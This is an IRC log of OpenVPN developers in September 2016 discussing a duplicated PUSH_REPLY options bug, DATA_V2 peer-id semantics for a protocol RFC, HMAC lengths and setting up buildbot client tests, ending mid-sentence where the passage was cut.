07:23 <@cron2> so I wonder what the actual limit of username+pass+peer_info is... 07:23 <@dazo> I'm sure it will come another IV_PROTO which allows chaining of messages ..... :-P 07:23 <@dazo> First James need to hit the limit himself :-P 07:24 <@cron2> you might ask him what that limit is - "maximum size of <thing>" or "it will get slow if we pack 32 kbyte in there!" 07:24 <@dazo> will do! 07:25 * dazo need to fetch some food first though :) 07:25 <@cron2> hehe, enjoy 07:25 * cron2 needs to catch a plane... eurobsdcon this weekend :) 07:26 <@dazo> cool! 08:31 <@dazo> plaisthos: you around? 14:58 < lev__> syzzer: I think the cause of multiplying "peer-id" and "cipher" values in PUSH_REPLY is here: https://github.com/OpenVPN/openvpn/commit/3a5a46cf2b7f6a8b8520c2513a8054deb48bfcbe#diff-e17918585f9e4953a0c91c30c5d0cce8R275 Starting from that commit, we add those values to context->options->push_list instead of adding those directly to buf (as done for client-specific values, like ifconfig). 14:58 <@vpnHelper> Title: Add preliminary server-side support for negotiable crypto parameters · OpenVPN/openvpn@3a5a46c · GitHub (at github.com) 14:59 <@cron2> which idiot accepted that patch? 14:59 <@cron2> Acked-by: Gert Doering <gert@greenie.muc.de> 14:59 <@cron2> stupid guy 14:59 < lev__> push_list is seems to be per child context, and when options are added and context is reused we got duplicates 15:00 <@cron2> lev__: can you open a trac ticket, cc: me and assign to syzzer, pointing to that commit? So it's not lost 15:00 < lev__> I will likely send a fix tomorrow 15:00 <@cron2> that would be even better :) 15:01 < lev__> this blocks trac ticket I am working on - client restart should not cause reinitalizing tun if only peer-id is changed 15:02 < lev__> so I'll fix duplicates first 15:03 < danhunsaker> Oh, hey, cron2 - while you're around, I was curious if you saw my reply RE: OpenSolaris ISOs on the list... 15:04 <@cron2> danhunsaker: saw it, had no time to go play with it yet 15:04 <@cron2> supposedly "Solaris 11.3 plus SunStudio" are free to download, you just do not get any updates 15:04 < danhunsaker> No worries. Just wasn't sure if it actually got through. Hoping it answered your question, at least. :) 15:05 <@cron2> sort of :) - still many options 15:05 < danhunsaker> Trufax. 15:05 < danhunsaker> Indiana's the main OS replacement, though. The others derive from there. 15:06 < danhunsaker> Oracle surprised a lot of us by keeping most of Sun's open source projects both open and alive, but OpenSolaris wasn't one of them, so the initial panic paid off in that case. 22:39 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 22:39 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 22:39 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 22:39 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 255 seconds] 22:40 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 22:40 -!- mode/#openvpn-devel [+o dazo] by ChanServ 22:40 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 22:41 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:41 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:50 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:50 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 22:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:51 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:51 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 22:51 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 22:52 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 22:52 -!- mode/#openvpn-devel [+o dazo] by ChanServ 23:23 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 272 seconds] 23:24 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Sat Sep 24 2016 05:45 <@plaisthos> dazo: yes now 06:00 <@plaisthos> dazo: iirc I use the up struct throw filedescriptors around 06:01 <@plaisthos> but yeah that struct seems to be a letfover from an older patch 08:35 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 08:35 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 08:39 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 08:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:41 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:12 -!- krzie is now known as krzee 13:39 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:39 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:40 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 250 seconds] 13:47 -!- Netsplit *.net <-> *.split quits: @mattock, @cron2_, @vpnHelper 13:47 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:47 -!- Netsplit over, joins: vpnHelper 13:47 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 13:48 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 13:48 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 418 seconds] 13:48 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 312 seconds] 13:48 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Ping timeout: 418 seconds] 13:49 -!- Netsplit over, joins: mattock 13:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 13:52 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:53 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:53 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 14:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:02 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+o plai] by ChanServ 14:06 -!- Thermi_ is now known as Thermi 14:07 -!- floppym_ is now known as floppym 14:16 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 14:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 276 seconds] 14:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:48 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:20 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Ping timeout: 272 seconds] 15:20 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 272 seconds] 15:24 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:24 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:35 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 272 seconds] 15:41 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:41 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:56 -!- dan-- is now known as dan- 16:02 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 16:02 -!- mode/#openvpn-devel [+o cron2] by ChanServ 16:02 <@cron2> what is wrong with freenode today...? 16:16 <@vpnHelper> RSS Update - tickets: #740: No PIN prompt with PKCS11 in Windows GUI mode <https://community.openvpn.net/openvpn/ticket/740> 16:20 <@cron2> syzzer: could you have a look at lev's patch ("Fix duplicated PUSH_REPLY options")? It's larger than I expected, but I had no more than 30 seconds so far to glance over it 16:33 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel --- Day changed Sun Sep 25 2016 19:37 < slypknot> with git-master I just *successfully* pushed this: 19:37 < slypknot> 'PUSH_REPLY,ifconfig-ipv6 12fc:1918::10:127:32:226/112 12fc:1918::10:127:32:165,tun-ipv6,topology net30,route 10.127.32.0 255.255.255.0,explicit-exit-notify 3,ping 10,ping-restart 30,peer-id 0,cipher AES-256-GCM,ifconfig 10.127.32.226 10.127.32.125' 19:38 < slypknot> ifconfig: inet 10.127.32.226 netmask 255.255.255.255 destination 10.127.32.125 19:44 < slypknot> client log: us=249319 /usr/bin/ifconfig tunc12732 10.127.32.226 pointopoint 10.127.32.125 mtu 1500 --- Log closed Mon Sep 26 00:15:43 2016 --- Log opened Mon Sep 26 00:15:51 2016 00:15 -!- Irssi: #openvpn-devel: Total of 22 nicks [7 ops, 0 halfops, 1 voices, 14 normal] 00:15 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 00:16 -!- Irssi: Join to #openvpn-devel was synced in 66 secs 00:23 -!- Netsplit *.net <-> *.split quits: danhunsaker 00:24 -!- woodrow_ is now known as woodrow 00:29 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 02:25 <@syzzer> lev__: I need to look into the patch better - iirc the original way of writing peer-id didn't play nicely with the push conituation stuff 02:25 <@syzzer> but it's too long ago, so I can't fully recall. 02:25 < lev__> syzzer: ack 02:27 <@syzzer> cron2: yes I will 02:28 <@syzzer> had to do all this offline stuff last week - no hacking hours left :( 03:31 <@cron2> syzzer: thanks. Since you rewrote all this, and lev__ rewrote it again, might be the easiest way here :) 04:59 < lev__> syzzer: github link to that patch: https://github.com/lstipakov/openvpn/commit/690d4e3adfda9ff49aeed0d37f9f0502b7f2e9db 04:59 <@vpnHelper> Title: Fix duplicated PUSH_REPLY options · lstipakov/openvpn@690d4e3 · GitHub (at github.com) 06:15 <@dazo> lev__: you around? 06:43 < lev__> dazo: yep 06:46 <@dazo> lev__: just sent you an e-mail :) 06:48 < lev__> dazo: currently it is only client who sends DATA_V2 and floats. Server does not (yet) float and always sends DATA_V1. 06:49 <@dazo> lev__: ahh! Thx! That's one of the things I wanted to double check :) 06:49 <@dazo> lev__: but ... as this is an RFC ... would it be unthinkable that the server would also make use of DATA_V2? 06:50 <@dazo> (Even though I don't think floating servers is really something which would happen a lot ... would it even be a useful feature?) 06:51 <@dazo> I'm more thinking if the peer-id could be provided in the packets from server to be verified on the client in the future ... if that would be useful or hardening the communication further 06:53 <@plai> But peer id doesn't buy much there 06:54 <@dazo> That's my instant thought as well ... I'm just trying to future-proof the RFC text 06:54 <@dazo> I want the spec to be explicitly clear and not have much room for interpretation 06:55 <@dazo> There's a difference if we don't mention server should use DATA_V1 ... or if it has to use DATA_V1 in communication with clients 06:55 <@plai> no iirc DATA V2 from server to client is fine 06:55 <@plai> No idea if OpenVPN 3 actually does that 06:55 <@plai> DATA V2 has the advantage that it is not misaligned 06:56 <@plai> i.e. the rest of the packet structures is aligned to 4 byte boundaries 06:56 <@dazo> right ... so in that case ... what should the Peer-ID field contain? 0xFFFFFF 06:56 <@plai> yeah that is unused peer id 06:56 <@plai> clients should ignore peer id value 06:56 < lev__> dazo: also "4" says "is to allow a client to float" and then "4.1" says "Both sides MUST provide a valid Peer-ID" 06:57 <@plai> but there is mentioning what a valid server peer id should be like 06:57 <@dazo> lev__: "4" is more a generic introduction ... and 4.1 is the expectations ... I'll clarify that too 06:57 <@dazo> plai: agreed 06:58 <@plai> I would specify 0xfffff from server to client for now 06:58 <@dazo> lev__: ^^^ 06:58 <@dazo> ? 06:58 <@plai> maybe in the future we will have client to multiple server? :) 06:59 <@dazo> Think transparent load-balancing? 06:59 <@dazo> As peer-id is unencrypted, a load-balancer could peek into a packet to decide which server-backend to use 07:00 <@dazo> nah 07:00 <@dazo> I'm thinking the wrong way .... client->server .... not server->client 07:00 * dazo realises he needs food when doing such mistakes :-D 07:19 <@plai> dazo: but yes, I would be conviceable to have seperate ranges for different server backends, e.g. 1xxx => server one, 2xxxx => server two 07:19 <@plai> it 07:24 <@dazo> hmmmm ... yeah. Through my thoughts around D-Bus, I've started pondering on how we can do seamless and transparent handover of clients from one OpenVPN server process to another one (by having key states exchanged between server processes directly) .... in this perspective, having a server ID on the client side could signal to the client that the server backend have changed 07:26 <@plai> but even in that scenario the peer-id does not really help you much 07:28 <@plai> either you have the same keystate state (or reuse the old new key stuff that we already have), then it is transperent for the client 07:29 <@dazo> if a client is handed transparently over from server 1 to server 2 ... and the peer-ID from server to client changes, then the client can decide if it accepts that or not 07:29 <@dazo> (of course the server could "fake" the ID ... but it would still be protected by HMAC signatures) 07:30 <@dazo> it would not be for floating servers, though ... like the client-floating is now 07:30 <@plai> yeah, but --float already captures that scenario 07:31 <@plai> the peer id is mainly for the reason that the server knows what keys to use for the hmac and decrypt 07:31 <@plai> the client doesn't have the problem of having (potientially) hundreds of key contexts flying around, only one 07:32 <@plai> and this scenario already works :) 07:32 <@plai> put a server on a dynamic ip address and add float to the client config 07:32 <@plai> if you change the ip of the server (e.g. dsl reconnect), the client will roam to the new ip address 07:34 <@dazo> --float tackles server *moving* around, yes ... but it doesn't tackle different openvpn processes .... if you have multiple servers behind a transparent LB .... and the backend servers exchanges key states and the LB moves the traffic from one process to the other one 07:35 <@dazo> from the "outside" it feels like nothing happened .... but it could be good to have an indication to the client if such a move happened 07:37 <@dazo> peer-id on the server side in regards to handling clients, that is crystal clear .... I'm more thinking of a transparent and not intrusive way signal from server->client that "you've been moved to a different server process" 07:37 <@dazo> so since we have a generic term of peer-id and it is always present in the DATA_V2 ... it can be used in this use case 07:38 <@plai> dazo: yeah sure. I get that. But I don't know if we need that. And especially if that needs to be in the plain text version 07:38 <@plai> you could think of a server move implement as extension for the renogiation process 07:39 <@plai> aka: your new key will be a different server. 07:39 <@dazo> that is fair enough .... again, this is just to ensure the RFC is somewhat feature-proof :) 07:39 <@plai> yeah 07:39 <@dazo> *future*-proof :) 07:39 <@dazo> I really need to get out and grab some food now :) will be back in a bit :) 07:40 <@plai> ignore peer-id from server for current clients aka treat it as reserved and server MUST sent 0xfffff in there 07:42 <@plai> if you have a version to proof read, just message me 07:52 < Thermi> What's up woth pekster? 07:52 < Thermi> He's got a openvpn devel cloak, so I'm asking here. openvpn/community/developer/pekster 07:55 <@plai> iirc he submitted some patches 07:55 < Thermi> plai: Totally dead on IRC 07:55 < Thermi> and on GH, too. 07:55 <@plai> and I don't think we are that strict with the cloaks 07:56 <@plai> Thermi: err no idea, I don't track the other users :) 07:56 < Thermi> plai: You're involved, so maybe springs to mind, But it seems not to be the case. 07:58 <@plai> no, sorry. 07:59 <@plai> my client's irclog have seen him talking last time in June 2015 07:59 < Thermi> Probably dead 08:27 <@plai> oh great, openssl messed up 1.1.0a ... (https://www.openssl.org/news/secadv/20160926.txt) 08:39 <@d12fk> question is: are the openssl guys the problem or is it C? 09:36 <@cron2> oh, channel back to life 10:04 < danhunsaker> d12fk: Why not Zoidberg? 10:04 < danhunsaker> Which is to say, bits of both, most likely. 12:42 <@vpnHelper> RSS Update - gitrepo: enable "--disable-crypto" build configuration for travis <https://github.com/OpenVPN/openvpn/commit/0c72e29c990a766e6952455d23151dabf79ed22b> 13:35 < MrNice> hi folks 13:35 < MrNice> anybody knows anything about updated windows codesigning cert? just asking for new sha1 fingerprint, used for upcoming openvpn windows setup releases.. thx! 13:37 < MrNice> best place to store sha1 fingerprint visible for all: https://openvpn.net/index.php/open-source/documentation/sig.html 13:37 <@vpnHelper> Title: File Signatures (at openvpn.net) 14:15 <@dazo> If anyone is interested ... I have 5 invites for keybase.io ... just PM me (I will need to know you first hand though and already have your e-mail address) 14:17 < danhunsaker> Looks useful. What counts as "first hand"? 14:21 <@dazo> danhunsaker: lets take it on the corp xmpp chat ;-) 14:21 < danhunsaker> :P 14:21 < danhunsaker> Figured the actual negotiation would. Just curious for the benefit of others. :D 14:22 <@dazo> :) 15:47 <@dazo> plai, lev__: Just want to be sure I've understood correctly. The DATA_V2 packets are protected against MITM modifications due to HMAC keys exchanged over the control channel? 16:19 < lev__> dazo: yep, if attacker sends DATA_V2 packet with forged peer-id, openvpn_decrypt won't decrypt it due to hmac mismatch 16:21 < lev__> or tag mismatch for AEAD 16:22 < lev__> float committed after those checks 16:43 <@dazo> lev__: thx! 23:01 -!- krzie is now known as krzee --- Day changed Tue Sep 27 2016 03:04 <@plai> dazo: yeah, in that regard there is no differen between v1 and v2 03:04 <@plai> if you fake the peer id the server will try to decrypt/verify with the wrong hmac key and tat will fail 03:36 <@syzzer> dazo: yes, invite please :) 03:41 < danhunsaker> syzzer: Lemme know when you're set up so I can "follow" you (sign your account details). 03:43 <@syzzer> danhunsaker: cool, I will :) 03:45 < danhunsaker> (I have 20-some invites of my own, but dazo beat me to the offer, and I only have any because I accepted one of his anyway, so I'll let him handle them here until he runs out. I understand mine was already replaced, so he should be at 5 again.) 03:47 <@plai> dazo: that sounds like soemthing to try out when it is usuable for me, the warning is very scary: 03:47 <@plai> In some cases, KBFS is causing performance problems on machines with TimeMachine enabled, so we are temporarily disabling KBFS, until we have a fix. This is high priority for us, but in the meantime, KBFS will not mount on Sierra. The rest of the Keybase app will work ok. 03:49 < danhunsaker> plai: Eh, KBFS is both entirely optional and a feature extension beyond the core. But hey, your system == your call. (Note that you can set up an account without ever installing the app, if you prefer - GPG and the website are sufficient for almost all tasks.) 03:49 <@plai> ah okay, 03:54 <@plai> syzzer: I have a crash for you :( 03:55 <@syzzer> plai: oh-oh, I'll check it out 03:56 < danhunsaker> This is where I normally blame novaflash, but as he doesn't hang out in here, dazo it is! 04:23 <@dazo> syzzer: invite sent! 04:24 <@syzzer> dazo: thanks :) 04:24 <@dazo> plai: you got an invite too :) 04:25 <@dazo> plai: I've not used the command line tool ... don't like that it's a 56MB download for something which looks like fairly simple tools 04:28 <@plai> dazo: Thanks, will look into it when I have time 04:28 <@plai> I just spend my free time looking into the null cipher crash :) 04:29 <@dazo> :) 04:32 <@dazo> !blame 04:32 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault 04:32 <@dazo> danhunsaker: ^^^ 05:42 <@cron2> we need to adjust that... (3) needs new victims :) 05:43 <@dazo> yeah 06:00 <@plai> good that I wasn't around when !blame was written :D 06:00 <@plai> otherwise there would "if it is crypto blame syzzer and plai for acking" 06:17 -!- slypknot is now known as kettlecalling 06:18 -!- kettlecalling is now known as slypknow 06:18 -!- slypknow is now known as slypknot 06:31 <@dazo> plai: I'll ensure that is considered for the revised !blame ;-) 06:55 <@vpnHelper> RSS Update - tickets: #741: Combined 32-bit and 64-bit Windows installers <https://community.openvpn.net/openvpn/ticket/741> 06:57 <@mattock> ^^^ to track progress on that one 07:03 <+krzee> !learn blame as if it is crypto blame syzzer and plai for acking 07:03 <@vpnHelper> Joo got it. 07:54 <@cron2> !blame 07:54 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault, or (#5) if it is crypto blame syzzer and plai for acking 11:33 -!- You're now known as ecrist --- Log closed Tue Sep 27 11:39:46 2016 --- Log opened Tue Sep 27 11:41:04 2016 11:41 -!- Irssi: #openvpn-devel: Total of 20 nicks [7 ops, 0 halfops, 0 voices, 13 normal] 11:41 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 11:41 -!- Irssi: Join to #openvpn-devel was synced in 5 secs 11:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Log closed Tue Sep 27 11:48:50 2016 --- Log opened Tue Sep 27 11:59:21 2016 11:59 -!- Irssi: #openvpn-devel: Total of 23 nicks [7 ops, 0 halfops, 1 voices, 15 normal] 11:59 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 11:59 -!- Irssi: Join to #openvpn-devel was synced in 3 secs 12:14 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:14 -!- mode/#openvpn-devel [+v krzie] by ChanServ 12:15 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] --- Log closed Tue Sep 27 12:25:03 2016 --- Log opened Wed Sep 28 08:08:58 2016 08:08 -!- Irssi: #openvpn-devel: Total of 24 nicks [7 ops, 0 halfops, 1 voices, 16 normal] 08:09 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:09 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 08:26 <@dazo> syzzer: am I right that the HMAC signature length in each wire packet is depending on the hashing algorithm? So --algo SHA1 will have 160 bits signature while SHA256/512 will have 256bits 08:26 <@dazo> ? 08:27 <@syzzer> yes 08:28 <@syzzer> HMAC-SHA256 will be 256 bit, HMAC-SHA512 will be 512 bit, etc. 08:33 <@dazo> right ... thx, syzzer! 08:37 <@dazo> syzzer: just a follow up question .... --auth influences the algorithm used in --tls-auth too? 08:39 <@syzzer> correct 08:40 <@dazo> okay, then the doc/doxygen/doc_protocol_overview.h isn't entirely correct .... 08:40 <@dazo> * - HMAC signature of entire encapsulation header for HMAC firewall 08:40 <@dazo> * [only if \c --tls-auth is specified] (usually 16 or 20 bytes). 08:40 <@dazo> "usually" can be misleading 08:42 <@syzzer> indeed, and 16 bytes is really not 'usual' 08:42 <@syzzer> that would be something like HMAC-MD5 09:07 <@dazo> that's right 09:07 * dazo need to run out for a while 09:49 <@cron2> plaisthos: your buildbot seems to run openvpn now, but *kill* isn't permitted 09:49 <@cron2> stopping OpenVPN 09:49 <@cron2> sudo: no tty present and no askpass program specified 09:49 <@cron2> see where "kill" is in the path... 09:49 <@cron2> (and kill the openvpn process manually... this sucks a bit, patches to t_client welcome - like "sudo kill -0 $$ || die" first, instead of "sudo true" or such 12:04 * slypknot no sudo .. derr .. installed and rebooted 12:31 < slypknot> I think t_client.rc has to be edited for the correct subnet .. change 10.194.x to the subnet i am pushed. eg 10.177.32 12:33 < slypknot> mattock: please confirm 12:43 <@cron2> slypknot: yes (but mattock told you) 12:43 <@cron2> not 10.177, but 10.194.x.y 12:44 <@cron2> community vpn is not t_client vpn 12:52 <@cron2> community vpn = 10.177 12:52 <@cron2> t_client vpn = "whatever you configure on the servers" (this is totally arbitrary, you can add your own servers there if you want) - and if using ecrists's, it will be 10.194.<instance>.<client> 13:04 < slypknot> how does my buildslave look now .. any errors ? 13:53 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 13:53 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:20 <@ecrist> waht did I do? 15:07 < slypknot> looks like i am configured to --tcp4 --remote phillip.secure-computing.net 15:07 < slypknot> firewall is now opened to that 15:07 < slypknot> phillip.secure-computing.net that sounds like ecrist 15:09 <@ecrist> it is 15:21 < slypknot> is it possible to "trigger a new build and see if all works as expected" 15:22 <@cron2> slyknot: tcp and udp, v4 and v6 in the default t_client.rc 15:23 <@cron2> triggering a rebuild now 15:26 < slypknot> added udp4 to firewall .. i don't have ipv6 internet yet 15:32 < slypknot> cron2: how long would this usually take roughly ? 15:46 <@cron2> sorry, pressed the wrong button. It should be buzilding now, depending on the speed of your machine ~5 min for the build, and ~10-15 min for the tests 15:46 <@cron2> twistd.log in the buildbot dir will show 15:48 < slypknot> yes .. it is buzzin now :) 15:49 < slypknot> 10.194.0.1 is still going out the internet .. 15:49 <@cron2> it will now report tons of failure between "expected address" and "real address", so you'll need to see $run:openvpn.log in the buildbot subdir what it is doing, what address was assigned, etc. 15:50 <@cron2> maybe it's easier to run the t_client.rc test manually ("make check") until the config is correct 15:50 < slypknot> nope .. i have routes for 10.194 over tun0 15:50 < slypknot> investigating 15:51 <@cron2> well, the tunnel will come and go, as multiple test are run :) - but there will still be failures as t_client.rc needs to know the actual address that you end up having 15:51 < slypknot> gotcha .. i was thinking maybe the vpn took longer to come up than the tests took to kick in 15:52 < slypknot> if there are pings to 10.194 then they are going the right way now 15:54 < slypknot> ESTAB 0 0 10.10.201.238:44947 199.102.77.82:51194 16:26 < slypknot> no complaints ? 16:26 < slypknot> ^^ 18:35 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 18:37 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] --- Day changed Thu Sep 29 2016 00:09 -!- krzee [9467285c@openvpn/community/support/krzee] has joined #openvpn-devel 00:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:09 <+krzee> Sep 28 23:51:11: us=292221 Data Channel Encrypt: Cipher 'BF-CBC' initialized with 128 bit key Sep 28 23:51:11: us=292239 WARNING: this cipher's block size is less than 128 bit (64 bit). Consider using a --cipher with a larger block size. 00:09 <+krzee> seems odd that 1 line says its 128bit then the next says it is not 01:45 <@cron2> fun... https://github.com/systemd/systemd/issues/4234 01:45 <@vpnHelper> Title: Assertion failure when PID 1 receives a zero-length message over notify socket · Issue #4234 · systemd/systemd · GitHub (at github.com) 01:47 <@cron2> slipknot: it's not fully working yet - t_client.rc needs the right EXPECT_ values set (from the logs), and sudoers need to allow "kill" commands to stop openvpn again 01:48 <@cron2> as said, run "make check" with that t_client.rc file (just symlink to it) until it's no longer complaining about 01:48 <@cron2> FAIL: check_ifconfig(): expected IPv4 address '10.194.1.110' not found in +ifconfig output. 01:48 <@cron2> then we'll retry buildbot 01:52 <+krzee> systemd, those > / >= will getchya! 02:11 -!- krzee [9467285c@openvpn/community/support/krzee] has quit [Quit: Page closed] 02:25 <@vpnHelper> RSS Update - tickets: #742: Windows client self-signed sha256 certificate verify failed <https://community.openvpn.net/openvpn/ticket/742> 03:17 < danhunsaker> krzee must've been really tired, because key size and block size aren't the same thing... 03:36 <@plai> cron2: yeah /bin/kill vs /usr/bin/kill 05:54 <@mattock> cron2: regarding t_client.sh... could we only check the static part (e.g. 10.194.1.) of the IP-address instead of the full address (say, 10.194.1.110)? 05:55 <@mattock> that way we could use a fairly static t_client.rc for every client 05:57 <@mattock> I would be willing to do a PoC, because managing the IPs for t_client.rc is rather annoying 06:05 <@mattock> another thing: OSTIF.org is asking if they could apply for the Mozilla grant... it is probably that the bureaucracy at the Mozilla end takes quite a bit of time, but on the other hand we agreed that the audit should focus on a "late OpenVPN 2.4-beta or RC version" 06:06 <@mattock> I'm thinking that we should at least get OpenVPN 2.4-alpha1 out of the door before starting that process 06:06 <@mattock> thoughts? 06:22 < slypknot> cron2: t_client.rc set to EXPECT 10.194.1.118 (as is pushed from server) sudoers.d/buildbot set to /bin/kill as it is with debian85 .. any time you want to try again is good :) 06:25 < slypknot> also set ipv6 fd00 address 08:11 <@mattock> slypknot: I'll launch a build now 08:12 <@mattock> launched 08:40 <@cron2> mattock: well, the point is "has anything gone weird, and some other IP than we expect has shown up?" - this is to some extent also testing that the server is behaving correctly, so you want proper test 08:41 <@cron2> slypknot: you need to kill the openvpn process launcehd by t_client's previous run - as kill did not work, it is still running, and interfering with the *next* test 08:43 <@mattock> cron2: in that case it would be useful if t_client.sh would at least mention what IP it got, instead of just saying "wrong IP" 08:43 <@mattock> less looking into the logfiles themselves 08:46 <@mattock> or better yet, detect if this is the first run and put the correct IPs to a config file, and then if they change, complain loudly 09:02 <@cron2> mattock: awaiting your patch :) 09:04 <@cron2> (fixing the kill issue would be more important, though) 09:28 < slypknot> cron2: mattock .. sorry was elsewhere .. just did 'sudo kill -term $procid' ubder buildbot login successfully 09:29 <@vpnHelper> RSS Update - tickets: #743: Pushed invalid IPv4 net30 address is accepted by Linux (not Windows) (1) / Pushed address IPv6 is validated by server IPv4 is not (2) <https://community.openvpn.net/openvpn/ticket/743> 09:29 < slypknot> under* 10:00 <@cron2> ok, re-run build 10:04 <@mattock> cron2: ok, I'll make up a patch then :) 10:14 <@cron2> slypknot: 10:14 <@cron2> Test sets succeded: 1. 10:14 <@cron2> Test sets failed: 2 3 4 5 6. 10:14 <@cron2> please adjust EXPECT_IFCONFIG* for test sets 2, 3, 4, 5 and 6 as well :-) 10:15 <@cron2> (and open your outbound firewall... seems 2-6 did not even connect) 10:15 <@cron2> udp+tcp 51194-51199 10:53 <@syzzer> lev__: do the peer-id and cipher push option accumulate over sigusr1 restarts too, or just sighups? 10:54 <@syzzer> hm, must be sigusr1, I think... 11:04 <@syzzer> lev__: how about something like this, to keep the push continuation logic working: https://gist.github.com/syzzer/08e56189131694e36bf1dc619aa5ae8c 11:05 <@vpnHelper> Title: push-remove-duplicate.patch · GitHub (at gist.github.com) 11:06 <@syzzer> (not tested at all, I just typed make and it seems to compile ;) ) 11:06 < lev__> syzzer: I tested with sigusr1 11:07 <@syzzer> I have to leave now, will get back to this later 11:10 < lev__> syzzer: push_remove might work (haven't tested yet). Do you happen to remember what was wrong with buf_printf and push_continuation ? 11:29 < ValdikSS> Does anyone know dynamic DNS automapping/autoremapping server? Like the one in Tor, AutomapHostsOnResolve. 11:29 < ValdikSS> Example: DNS server ran with 10.42.0.0/24 remapping range. 11:30 < ValdikSS> Client: google.com? Server: resolve google.com, got 1.2.3.4, map it to 10.42.0.1, iptables -t nat -I PREROUTING -s 10.42.0.1 -j 